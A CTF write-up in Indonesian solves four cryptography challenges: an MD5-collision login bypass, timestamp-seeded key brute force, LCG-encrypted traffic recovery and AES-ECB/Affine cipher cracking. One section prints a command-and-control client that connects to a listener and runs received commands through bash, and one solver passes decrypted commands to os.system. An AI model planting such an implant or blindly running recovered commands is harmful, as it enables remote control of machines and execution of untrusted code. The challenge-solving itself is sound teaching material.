<style>
img[alt=chall-sc] {
display: block;
margin: 0 auto;
width: 100em;
}
p {
text-align: justify;
}
p::first-line {
text-indent: 0;
}
</style>
# University CTF 2024: Binary Badlands Cryptography Writeup (Bahasa Indonesia)
## alphascii clashing

Diberikan `server.py`
### server.py
```python
#!/usr/bin/env python3
from hashlib import md5
import json
'''
Data format:
{
username: [md5(username).hexdigest(), password],
.
.
.
}
'''
users = {
'HTBUser132' : [md5(b'HTBUser132').hexdigest(), 'secure123!'],
'JohnMarcus' : [md5(b'JohnMarcus').hexdigest(), '0123456789']
}
def get_option():
return input('''
Welcome to my login application scaredy cat ! I am using MD5 to save the passwords in the database.
I am more than certain that this is secure.
You can't prove me wrong!
[1] Login
[2] Register
[3] Exit
Option (json format) :: ''')
def main():
while True:
option = json.loads(get_option())
if 'option' not in option:
print('[-] please, enter a valid option!')
continue
option = option['option']
if option == 'login':
creds = json.loads(input('enter credentials (json format) :: '))
usr, pwd = creds['username'], creds['password']
usr_hash = md5(usr.encode()).hexdigest()
for db_user, v in users.items():
if [usr_hash, pwd] == v:
if usr == db_user:
print(f'[+] welcome, {usr} 🤖!')
else:
print(f"[+] what?! this was unexpected. shutting down the system :: {open('flag.txt').read()} 👽")
exit()
break
else:
print('[-] invalid username and/or password!')
elif option == 'register':
creds = json.loads(input('enter credentials (json format) :: '))
usr, pwd = creds['username'], creds['password']
if usr.isalnum() and pwd.isalnum():
usr_hash = md5(usr.encode()).hexdigest()
if usr not in users.keys():
users[usr] = [md5(usr.encode()).hexdigest(), pwd]
else:
print('[-] this user already exists!')
else:
print('[-] your credentials must contain only ascii letters and digits.')
elif option == 'exit':
print('byeee.')
break
if __name__ == '__main__':
main()
```
Perhatikan snippet untuk opsi login:
```python
if option == 'login':
creds = json.loads(input('enter credentials (json format) :: '))
usr, pwd = creds['username'], creds['password']
usr_hash = md5(usr.encode()).hexdigest()
for db_user, v in users.items():
if [usr_hash, pwd] == v:
if usr == db_user:
print(f'[+] welcome, {usr} 🤖!')
else:
print(f"[+] what?! this was unexpected. shutting down the system :: {open('flag.txt').read()} 👽")
exit()
break
else:
print('[-] invalid username and/or password!')
```
Jika kita bisa login dengan username yang tidak ada di database namun memiliki hash md5 yang sama dengan username yang ada di database `db_user` maka kita bisa mendapatkan flagnya. Untuk melakukannya, kita dapat menggunakan md5 hash collision. Register dan login dengan menggunakan username yang berbeda namun hasil hash md5nya sama (https://stackoverflow.com/questions/61670228/are-there-any-known-md5-collisions-for-two-plain-text-ascii-strings-not-binary)
### POC
```python
#!/usr/bin/env python3
from hashlib import md5
from pwn import *
import json
host, port = "nc 94.237.55.109 50491".split(" ")[1:3]
context.log_level = 'debug'
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
com = lambda: io.interactive()
user1 = b"TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
user2 = b"TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
assert md5(user1).hexdigest() == md5(user2).hexdigest(), "md5 hashnya ga sama"
register_option_payload = {"option": "register"}
sla("Option (json format) :: ", json.dumps(register_option_payload))
p = {
"username": user1.decode(errors="ignore"),
"password": "0123456789"
}
sla("enter credentials (json format) :: ", json.dumps(p))
login_option_payload = {"option": "login"}
sla("Option (json format) :: ", json.dumps(login_option_payload))
p = {
"username": user2.decode(errors="ignore"),
"password": "0123456789"
}
sla("enter credentials (json format) :: ", json.dumps(p))
com()
```
`HTB{finding_alphanumeric_md5_collisions_for_fun_https://x.com/realhashbreaker/status/1770161965006008570_996655c8d33eeb0421234fe818d59fa3}`
## MuTLock

Diberikan `source.py` dan `output.txt`
### source.py
```python
#!/usr/bin/env python3
import random
import string
import base64
import time
from secret import FLAG
def generate_key(seed, length=16):
random.seed(seed)
key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
return key
def polyalphabetic_encrypt(plaintext, key):
key_length = len(key)
ciphertext = []
for i, char in enumerate(plaintext):
key_char = key[i % key_length]
encrypted_char = chr((ord(char) + ord(key_char)) % 256)
ciphertext.append(encrypted_char)
return base64.b64encode(''.join(ciphertext).encode()).decode()
def xor_cipher(text, key):
return bytes([ord(c) ^ key for c in text])
def get_timestamp_based_keys():
timestamp = int(time.time())
if timestamp % 2 == 0:
key_seed = random.randint(1, 1000)
xor_key = 42
else:
key_seed = 42
xor_key = random.randint(1, 255)
return key_seed, xor_key
def main():
# Split the flag
flag_half1 = FLAG[:len(FLAG)//2]
flag_half2 = FLAG[len(FLAG)//2:]
encrypted_flags = []
for _ in range(2):
key_seed, xor_key = get_timestamp_based_keys()
key = generate_key(key_seed)
encrypted_half = polyalphabetic_encrypt(flag_half1 if len(encrypted_flags) == 0 else flag_half2, key)
encrypted_half = xor_cipher(encrypted_half, xor_key)
encrypted_flags.append(encrypted_half.hex())
time.sleep(1)
# Save encrypted flags to output.txt
with open('output.txt', 'w') as f:
f.write(f"{encrypted_flags[0]}\n{encrypted_flags[1]}\n")
if __name__ == "__main__":
main()
```
### output.txt
```txt
00071134013a3c1c00423f330704382d00420d331d04383d00420134044f383300062f34063a383e0006443310043839004315340314382f004240331c043815004358331b4f3830
5d1f486e4d49611a5d1e7e6e4067611f5d5b196e5b5961405d1f7a695b12614e5d58506e4212654b5d5b196e4067611d5d5b726e4649657c5d5872695f12654d5d5b4c6e4749611b
```
Perhatikan proses mendapatkan keynya
```python
def get_timestamp_based_keys():
timestamp = int(time.time())
if timestamp % 2 == 0:
key_seed = random.randint(1, 1000)
xor_key = 42
else:
key_seed = 42
xor_key = random.randint(1, 255)
return key_seed, xor_key
def generate_key(seed, length=16):
random.seed(seed)
key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
return key
def main():
### ... ###
for _ in range(2):
key_seed, xor_key = get_timestamp_based_keys()
key = generate_key(key_seed)
encrypted_half = polyalphabetic_encrypt(flag_half1 if len(encrypted_flags) == 0 else flag_half2, key)
encrypted_half = xor_cipher(encrypted_half, xor_key)
encrypted_flags.append(encrypted_half.hex())
time.sleep(1)
### ... ###
```
Jika `timestamp = int(time.time())` (current time) di modulo dengan 2 hasilnya sama dengan nol, maka xor_keynya 42, dan key_seednya dirandom dari 1 - 1000, kemudian ada selang waktu 1 detik `time.sleep(1)` untuk pembangkitan key kedua. Jadi untuk key kedua, pasti seednya 42 dan xor_keynya di random dari 1 - 255. Berikut percobaannya:
```python
#!/usr/bin/env python3
import random
import string
import base64
import time
def get_timestamp_based_keys():
timestamp = int(time.time())
if timestamp % 2 == 0:
key_seed = random.randint(1, 1000)
xor_key = 42
else:
key_seed = 42
xor_key = random.randint(1, 255)
return key_seed, xor_key
def generate_key(seed, length=16):
random.seed(seed)
key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
return key
def xor_cipher(text, key):
return bytes([ord(c) ^ key for c in text])
def polyalphabetic_encrypt(plaintext, key):
key_length = len(key)
ciphertext = []
for i, char in enumerate(plaintext):
key_char = key[i % key_length]
encrypted_char = chr((ord(char) + ord(key_char)) % 256)
ciphertext.append(encrypted_char)
return base64.b64encode(''.join(ciphertext).encode()).decode()
def polyalphabetic_decrypt(ciphertext, key):
key_length = len(key)
plaintext = []
decoded_ciphertext = base64.b64decode(ciphertext).decode()
for i, char in enumerate(decoded_ciphertext):
key_char = key[i % key_length]
decrypted_char = chr((ord(char) - ord(key_char)) % 256)
plaintext.append(decrypted_char)
return ''.join(plaintext)
for _ in range(2):
key_seed, xor_key = get_timestamp_based_keys()
key = generate_key(key_seed)
print(f"key_seed, xor_key: {key_seed, xor_key}")
key = generate_key(key_seed)
print(f"key: {key}")
time.sleep(1)
```

Dapat dilihat jika key_seednya 42, maka string yang dihasilkan akan selalu sama. Jika tidak, maka key_seednya dapat dibrute dari 1 - 1000 dengan iterasi. Karena format dari flag adalah `HTB{}`, langsung saja kita reverse proccessnya dan kita bruteforce key_seednya. Berikut solvernya:
### POC
```python
#!/usr/bin/env python3
import random
import string
import base64
from multiprocessing import Pool, cpu_count
KEY_42 = "OhbVrpoiVgRV5IfL"
FLAG_LENGTH = 144
CHARSET = string.ascii_letters + "0123456789!_@#$%^&*()"
FLAG_PREFIX = "HTB{"
def output(filename="output.txt"):
with open(filename, "r") as f:
lines = f.readlines()
enc_1 = bytes.fromhex(lines[0].strip())
enc_2 = bytes.fromhex(lines[1].strip())
return enc_1, enc_2
def reverse_xor(byte, xor_key):
return byte ^ xor_key
def polyalphabetic_decrypt(ciphertext, key):
key_length = len(key)
pt = []
try:
decoded_ciphertext = base64.b64decode(ciphertext).decode('utf-8', errors='ignore')
except Exception:
return None
for i, char in enumerate(decoded_ciphertext):
key_char = key[i % key_length]
decrypted_char = chr((ord(char) - ord(key_char)) % 256)
pt.append(decrypted_char)
return ''.join(pt)
def brute_force_scenario1_worker(xor_key):
pt = []
for byte in enc_1:
reversed_byte = reverse_xor(byte, xor_key)
decrypted_char = chr(reversed_byte)
pt.append(decrypted_char)
pt = ''.join(pt)
pt = polyalphabetic_decrypt(pt, KEY_42)
if pt and pt.startswith(FLAG_PREFIX):
return pt
return None
def brute_force_scenario2_worker(key_seed):
key = generate_key(key_seed)
pt = []
for byte in enc_2:
reversed_byte = reverse_xor(byte, 42)
decrypted_char = chr(reversed_byte)
pt.append(decrypted_char)
pt = ''.join(pt)
pt = polyalphabetic_decrypt(pt, key)
if pt and pt.startswith("ion"):
return pt
return None
def brute_force_scenario3_worker(key_seed):
key = generate_key(key_seed)
pt = []
for byte in enc_1:
reversed_byte = reverse_xor(byte, 42)
decrypted_char = chr(reversed_byte)
pt.append(decrypted_char)
pt = ''.join(pt)
pt = polyalphabetic_decrypt(pt, key)
if pt and pt.startswith(FLAG_PREFIX):
return pt
return None
def brute_force_scenario4_worker(xor_key):
pt = []
for byte in enc_2:
reversed_byte = reverse_xor(byte, xor_key)
decrypted_char = chr(reversed_byte)
pt.append(decrypted_char)
pt = ''.join(pt)
pt = polyalphabetic_decrypt(pt, KEY_42)
if pt and pt.endswith('}'):
return pt
return None
def generate_key(seed, length=16):
random.seed(seed)
key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
return key
enc_1, enc_2 = output()
print(f"enc1, enc2: {enc_1, enc_2}")
print("decrypting part 1 assuming key_seed=42 and is_odd=True...")
with Pool(cpu_count()) as pool:
decrypted_half1_candidates = pool.map(brute_force_scenario1_worker, range(1, 256))
decrypted_half1_candidates = [candidate for candidate in decrypted_half1_candidates if candidate]
if decrypted_half1_candidates:
decrypted_half1 = decrypted_half1_candidates[0]
print("decrypted part 1:", decrypted_half1)
print("decrypting part 2 assuming is_odd=False (key_seed=1-1000)...")
with Pool(cpu_count()) as pool:
decrypted_half2_candidates = pool.map(brute_force_scenario2_worker, range(1, 1001))
decrypted_half2_candidates = [candidate for candidate in decrypted_half2_candidates if candidate]
if decrypted_half2_candidates:
decrypted_half2 = decrypted_half2_candidates[0]
print("decrypted part 2:", decrypted_half2)
flag = decrypted_half1 + decrypted_half2
print(f"{flag}")
```
`HTB{timestamp_based_encryption_is_so_secure_i_promise}`
## exfiltrated entropy

Diberikan `server.py`, `client.py`, `params.py`, dan `traffic18112024.pcap`
### client.py
```python
from pwn import *
from params import *
from secret import SEED
from base64 import b64decode as bd, b64encode as be
import json, subprocess
class LCG:
def __init__(self):
self.state = SEED
self.a = a
self.b = b
self.m = m
def _next(self):
self.state = (self.a * self.state + self.b) % self.m
return self.state
def generate_key(self, l):
return bytes([self._next() & 0xff for _ in range(l)])
def generate_packet_uuid(self):
return hex(self._next())
def encrypt(self, msg):
key = self.generate_key(len(msg))
return xor(msg, key)
def decrypt(self, msg):
return self.encrypt(msg)
r = remote('192.168.64.1', 1337)
lcg = LCG()
while True:
data = json.loads(r.recvline())
enc_cmd = bd(data['cmd'].encode())
init = data['init']
cmd = lcg.decrypt(enc_cmd).decode()
if init:
lcg.generate_packet_uuid()
else:
init = True
if cmd == b'exit':
r.close()
break
try:
out = subprocess.check_output(['bash', '-c', cmd])
enc_out = lcg.encrypt(out)
r.sendline(be(enc_out))
except:
break
r.clean()
```
### server.py
```python
from pwn import *
from params import *
from secret import SEED
from base64 import b64encode as be, b64decode as bd
import json
class LCG:
def __init__(self):
self.state = SEED
self.a = a
self.b = b
self.m = m
def _next(self):
self.state = (self.a * self.state + self.b) % self.m
return self.state
def generate_key(self, l):
return bytes([self._next() & 0xff for _ in range(l)])
def generate_packet_uuid(self):
return hex(self._next())
def encrypt(self, msg):
key = self.generate_key(len(msg))
return xor(msg, key)
def decrypt(self, msg):
return self.encrypt(msg)
# context.log_level = 'debug'
l = listen(1337)
l.wait_for_connection()
lcg = LCG()
init = False
while True:
cmd = input('/home/v1ctim/Desktop> ').encode()
enc_cmd = lcg.encrypt(cmd)
if init:
uuid = lcg.generate_packet_uuid()
l.sendline(json.dumps({'init': init, 'id': uuid[2:], 'cmd': be(enc_cmd).decode()}).encode())
else:
l.sendline(json.dumps({'init': init, 'cmd': be(enc_cmd).decode()}).encode())
init = True
if cmd == b'exit':
l.close()
break
enc_out = bd(l.recvline())
data = lcg.decrypt(enc_out)
print(data)
l.clean()
```
### params.py
```python
a = 0xa1d41ebef9c575ac113fcfd5ac8dbda9
b = 0x8dcf3cf766e0b6c30e753416a70e2367
m = 0x100000000000000000000000000000000
```
Intinya kita harus meretrieve ciphertext dari file pcapnya, kemudian mendecrypt ciphertext tersebut dengan command yang diinput oleh attacker sesuai dengan `client.py`. Berikut script yang saya buat untuk mengextract payload yang ada di pcacpnya
### extract.py
```python
#!/usr/bin/env python3
from scapy.all import *
import json
from base64 import b64decode
import sys
packets = rdpcap("traffic18112024.pcap")
server_to_client = []
client_to_server = []
server_ip = None
client_ip = None
for pkt in packets:
if pkt.haslayer(TCP):
tcp_layer = pkt[TCP]
if tcp_layer.dport == 1337:
server_ip = pkt[IP].dst
client_ip = pkt[IP].src
break
elif tcp_layer.sport == 1337:
server_ip = pkt[IP].src
client_ip = pkt[IP].dst
break
print(f"identified server IP: {server_ip}")
print(f"identified client IP: {client_ip}")
for pkt in packets:
if pkt.haslayer(TCP):
ip_layer = pkt[IP]
tcp_layer = pkt[TCP]
payload = bytes(tcp_layer.payload)
if len(payload) == 0:
continue
try:
p = payload.decode("utf-8")
except UnicodeDecodeError:
continue
if "init" in p or "cmd" in p:
if ip_layer.src == server_ip and ip_layer.dst == client_ip:
server_to_client.append(p)
elif ip_layer.src == client_ip and ip_layer.dst == server_ip:
client_to_server.append(p)
def extract_cmds(json_payloads):
cmds = []
for data in json_payloads:
try:
json_data = json.loads(data)
if "cmd" in json_data:
ciphertext_b64 = json_data["cmd"]
cmds.append(ciphertext_b64)
except json.JSONDecodeError:
continue
return cmds
s2c_cmds_b64 = extract_cmds(server_to_client)
c2s_cmds_b64 = extract_cmds(client_to_server)
with open("s2c_cmds.txt", "w") as f:
for cmd in s2c_cmds_b64:
f.write(cmd + "\n")
with open("c2s_cmds.txt", "w") as f:
for cmd in c2s_cmds_b64:
f.write(cmd + "\n")
print("done")
print("server-to-client cmds saved in 's2c_cmds.txt'")
print("client-to-server cmds saved in 'c2s_cmds.txt'")
```
Jika sudah mendapatkan encrypted bash commandnya, langsung saja reverse algoritma LCG (Linear Congruential Generator) yang digunakan untuk melihat hasil eksekusi dari payloadnya. Ternyata hasil eksekusi payloadnya merupakan flag yang ditampilkan dalam bentuk banner
### POC
```python
#!/usr/bin/env python3
import base64
import string
import os
A = 0xa9 # multiplier (a_low)
B = 0x67 # increment (b_low)
M = 0x100 # modulus for 8-bit LCG
def gen_key_stream(key0, length):
key_stream = [key0]
key = key0
for _ in range(1, length):
next_key = (A * key + B) % M
key_stream.append(next_key)
key = next_key
return key_stream
def is_printable(data):
return all(chr(byte) in string.printable for byte in data)
def decrypt_ct(ct, key_stream):
return bytes([c ^ k for c, k in zip(ct, key_stream)])
cts_b64 = [
"ocXzAq8Q",
"4FfTtXHCD3LuRRJzLIzwyeylqqGwyTiugfjOo+MbNhyKv1ZDgSL33Lwaysu+dlONfwJ8jaqbuTVnVqwFloEI4wGdC9FFkmJgLpV9y3AZyjM0wsV+DRVR1cpOBvQqT4F46j2JiDxvABDqHRw5yrmv+uByJMyX/cZM2azJMonAVwV95ncUg0uWs3bmpturCW9sWiVaQ2pqjgAuUDs3Yab1/jJa4tthhkJrBJl6cyX88ijWqoMBKUkjsZ/sNa8uGLpC9gGpafUQwfyaPfImxIx8taB8bain59NlaI2RaL3YFfRrkxQAw8rUshLbxqI/AhpOH9LRQ09GeORcBnHPC0HaqMFDgp0euCJzrnVhdDmPrPPGhq/MsfISmr3R94HfOE4hs/h4ceMywp+qHOLZ/1RlvVoSBrK5w7o4G16PJLC9Xf8UzC6rQO5PQBiOcpNgCPg7NvToEickQd7CTBWQOEy+Rv0ar8gnTAooy2cjMe2iqeuEMTOd5Pz8QKS721vcxU4AU4cLDbwhr4tKteb3v3oGcAEiPF9sSoMbBlhoE0m7+f8wLPHvXrgfShSKBD0L9vccz42AMCUZGu+Ctw2QASe5apAnvWz0c+u3rD3aG8aXZo+hF3K4u7rjRkulqm2B+mD9aeJiVb2zlah74L6iRW0MUR7PvXkXSnnaX2sW8E9Y3obSBo2gEqcQAqhLAlsu7Y3y9Jyc87LJEMSf/tmq/BBEFIjcXXWBBO3ys1rK3vFdb5pfND6ApIO/AEhRoguD/SDGCpkOqkjXYk8cgSWaTE3aMULyhCZwFlHsyVMS9CodoFvAbInIEjE+L8ptHDff6IbbkENz/83i7SOGitFn3epsL0fyQjWlA5CSdceb/opVJVUeVwdYbVO4DC9XTRtDivq3VkbI0WL3cHUqmXcmAKzcGMSV/xkMB2Th6vAq+xcYhhm8EoFxqXC14e00/0XlvXm0pkZngfmo0Gd0qqJYofA34HS/Miuy6deJd5u3mnMeUGsv6O9mZ3VlpAUTQtEJXJvbzXbB7j+VPhb3J2JRRs+a9N2Is8jyyRO3tI7kmskDPRyMx1pg4jH138wWyqOvfWXVcTE+qNa+gh4VUZkDsaNE9H2+E/dyx2tKH78htEtT0zkU5tIOCzFl19odAJUdGapWjjqZmEBYKzGIdRF53KLK9qdmPczHycB8uYqRdNbLZixO2lIshAmGh1yx8ZKVGD1/RgFdPiE9k1YxHGQXd5Lmvg=="
]
for idx, ct_b64 in enumerate(cts_b64, 1):
ct = base64.b64decode(ct_b64)
candidates = []
for key0 in range(256):
key_stream = gen_key_stream(key0, len(ct))
plaintext = decrypt_ct(ct, key_stream)
if is_printable(plaintext):
candidates.append((key0, plaintext.decode()))
if candidates:
print(f"candidate for ct {idx}:")
for key0, pt in candidates:
print(f"key0: {key0} | pt: {pt}")
if "base64 -d" in pt:
os.system(pt)
```
`HTB{still_not_convinced_about_LCG_security?}`
## cryptospiracy theory

Diberikan `generator.py` dan `encrypted_message.aes`
### generator.py
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii
with open('key.txt', 'rb') as key_file:
key = key_file.read().strip()
if len(key) not in [16, 24, 32]:
raise ValueError("Invalid AES key length. Key must be 16, 24, or 32 bytes long.")
with open('message.txt', 'r') as message_file:
message = message_file.read().strip()
words = message.split()
ciphertext = b""
cipher = AES.new(key, AES.MODE_ECB)
for word in words:
word_padded = pad(word.encode(), AES.block_size)
encrypted_word = cipher.encrypt(word_padded)
ciphertext += encrypted_word
with open('encrypted_message.aes', 'wb') as file:
file.write(ciphertext)
print("Encryption complete. Ciphertext saved to 'encrypted_message.aes'.")
```
### encrypted_message.aes
```txt
¥w‰Í[c:u‹¡ðïÜ
¦Q .d`à^Ñà”ç #ªT£ÝñâU£6HZÎ~è&åfûÄïóÑ8ž¸–)P‡FäOÀ‚Ø‘
I̓|ál¾)Q]Š&‘ÈÉ|Ó±³xžÁQü.œì}6alE€)©žƒ2˜Ž¶úþrÅ,•¶×1‡ÆÚY.y”inÙÄ–ø
>
vŸ®cËÞóÊÜÇNƒ2˜Ž¶úþrÅ,•¶E)fr´‰Æš’u#mæ_èÒ@¢‰àH9„®ð¨†°Ôþycbõ6^4·qãëú§à×/x¯†³fêÑ;÷/¢´K<;³ëý—Nâj×B\nú|{¬ðí–/öʧ:ÁQü.œì}6alE€)©ž˜ásɘ6¯G1L7õ¡%}EUaSH0ë¬#‘¥h/o
öV`SåÏT #ªT£ÝñâU£6HZÎ~'c#.…ºæØJv[Š|W5ç)Q]Š&‘ÈÉ|Ó±³xže‘þöåþäÏ‚T0ÕŽÌpSìÍå·PžèRÐúr[
```
Di `generator.py` dapat dilihat bahwa encryptionnya menggunakan `AES-ECB` dan keynya diload dari `key.txt`
```python
with open('key.txt', 'rb') as key_file:
key = key_file.read().strip()
```
Jadi, saya membuat script untuk melakukan bruteforce terhadap keynya dengan wordlists dari `rockyou.txt` (wordlist yang sering digunakan untuk bruteforce common names dan common passwords). Karena plaintextnya sudah pasti `HTB`, maka saya brute dengan known plaintext attack.
### sol.py
```python
#!/usr/bin/env python3
from Crypto.Cipher import AES
import binascii
def load_rockyou(file_path):
with open(file_path, "r", encoding="latin-1") as f:
keys = [line.strip() for line in f if len(line.strip()) in [16, 24, 32]]
return keys
def decrypt_aes_ecb(ct, key):
cipher = AES.new(key.encode(), AES.MODE_ECB)
decrypted = cipher.decrypt(ct)
return decrypted
def bf_aes_ecb(ct, known_pt, path):
ct = binascii.unhexlify(ct)
possible_keys = load_rockyou(path)
for key in possible_keys:
decrypted = decrypt_aes_ecb(ct, key)
if decrypted and known_pt.encode() in decrypted:
print(f"key found: {key}")
print(f"pt: {decrypted.decode()}")
return key
ct = open("encrypted_message.aes", "rb").read().hex()
known_pt = "HTB{"
rockyou_path = "./rockyou.txt"
bf_aes_ecb(ct, known_pt, rockyou_path)
```

Dapat dilihat bahwa flag tersebut terbagi menjadi 2 part. Part pertama adalah `HTB{Br3@k_Th3`, dan part keduanya adalah challenge selanjutnya. Login ke website yang diberikan untuk challenge tersebut sesuai dengan username dan password yang kita dapat

Dapat dilihat bahwa terdapat conversation log dari 2 hacker di website tersebut


Dapat dilihat bahwa terdapat `encrypted.txt` yang merupakan encrypted text yang diencrypt dengan menggunakan `Affine Cipher`. Diberikan juga source code untuk encryptionnya
### encryptor.py
```python
from math import gcd
import random
def encrypt(a, b):
ct = []
for ch in msg:
if ch.isalpha():
encrypted_char = chr(((a * (ord(ch) - 65 - b)) % 26) + 65)
ct.append(encrypted_char)
else :
ct.append(ch)
return ''.join(ct)
msg = open('secret_message.txt').read()
while True:
a = random.randint(1, 26)
b = random.randint(1, 26)
if gcd(a, 26) == 1:
break
with open('encrypted.txt', 'w') as f:
f.write(encrypt(a,b))
print("Encrypted message saved to encrypted.txt")
```
### encrypted.txt
```txt
YDAAV RBOR, EYFX FOKVQHBEFVO FX DGEQDHDAN PQFEFPBA. ZD BQD RVFOR EV LXD B IAVBE AVBW VK DGCAVXFSDX KVQ EYD BEEBPT BOW BAXV ZD BQD XLPPDXXKLA FO IQFIFOR EYD IBOT'X HBOBRDQ KVQ 25% VK EYD AVVE. ZD BQD BAXV PLQQDOEAN ZVQTFOR KQVH VLQ IBXD FO AVOWVO DGBPEAN BE: ABEFELWD: 51.5074, AVORFELWD: -0.1278. KABR: _IA0PT_C@EE3QO}
```
Langsung saja reverse algoritma `Affine Cipher` tersebut dan brute plaintextnya
### POC
```python
#!/usr/bin/env python3
from math import gcd
def mod_inverse(a, m):
for i in range(1, m):
if (a * i) % m == 1:
return i
return None
def decrypt(a, b, enc):
pt = []
a_inv = mod_inverse(a, 26)
for ch in enc:
if ch.isalpha():
decrypted_char = chr(((a_inv * ((ord(ch) - 65) - b)) % 26) + 65)
pt.append(decrypted_char)
else:
pt.append(ch)
return ''.join(pt)
enc = open('encrypted.txt').read()
for a in range(1, 26):
if gcd(a, 26) != 1:
continue
for b in range(26):
pt = decrypt(a, b, enc)
if 'FLAG' in pt or 'HTB' in pt or 'flag' in pt:
print(f"key pair: a={a}, b={b}")
print("pt:")
print(pt)
exit()
```

Dan didapatkan part 2 flag, yakni `_BL0CK_P@TT3RN}`. Jika kita menggabungkan kedua part tersebut, didapatkan:
`HTB{Br3@k_Th3_BL0CK_P@TT3RN}`